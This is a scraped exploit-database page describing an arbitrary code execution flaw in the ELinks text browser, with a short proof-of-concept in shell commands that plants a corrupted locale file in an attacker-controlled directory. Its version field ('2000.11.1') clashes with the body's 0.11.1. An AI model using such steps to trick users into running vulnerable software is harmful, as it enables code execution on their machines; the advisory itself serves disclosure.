Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Arbitrary Code Execution Vulnerability in ELinks - exploit.company
header-logo
Suggest Exploit
vendor:
ELinks
by:
7.5
CVSS
HIGH
Arbitrary Code Execution
CWE
Product Name: ELinks
Affected Version From: 2000.11.1
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Arbitrary Code Execution Vulnerability in ELinks

An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application. This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.

Mitigation:

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23844/info

ELinks is prone to an arbitrary code-execution vulnerability.

An attacker can exploit this issue to potentially execute arbitrary code with the privileges of the user running the affected application.

This issue requires an attacker to trick an unsuspecting victim into running the vulnerable application in an attacker-controlled directory.

This issue affects ELinks 0.11.1; other versions may also be vulnerable. 

$ mkdir -p /tmp/elinks/{run,po}
$ cp /usr/share/locale/fr/LC_MESSAGES/elinks.mo /tmp/elinks/po/fr.gmo
$ dd if=/dev/urandom of=/tmp/elinks/po/fr.gmo bs=1024 seek=1 count=200
$ cd /tmp/elinks/run

Navigation

Suggest Exploit

Services By CQR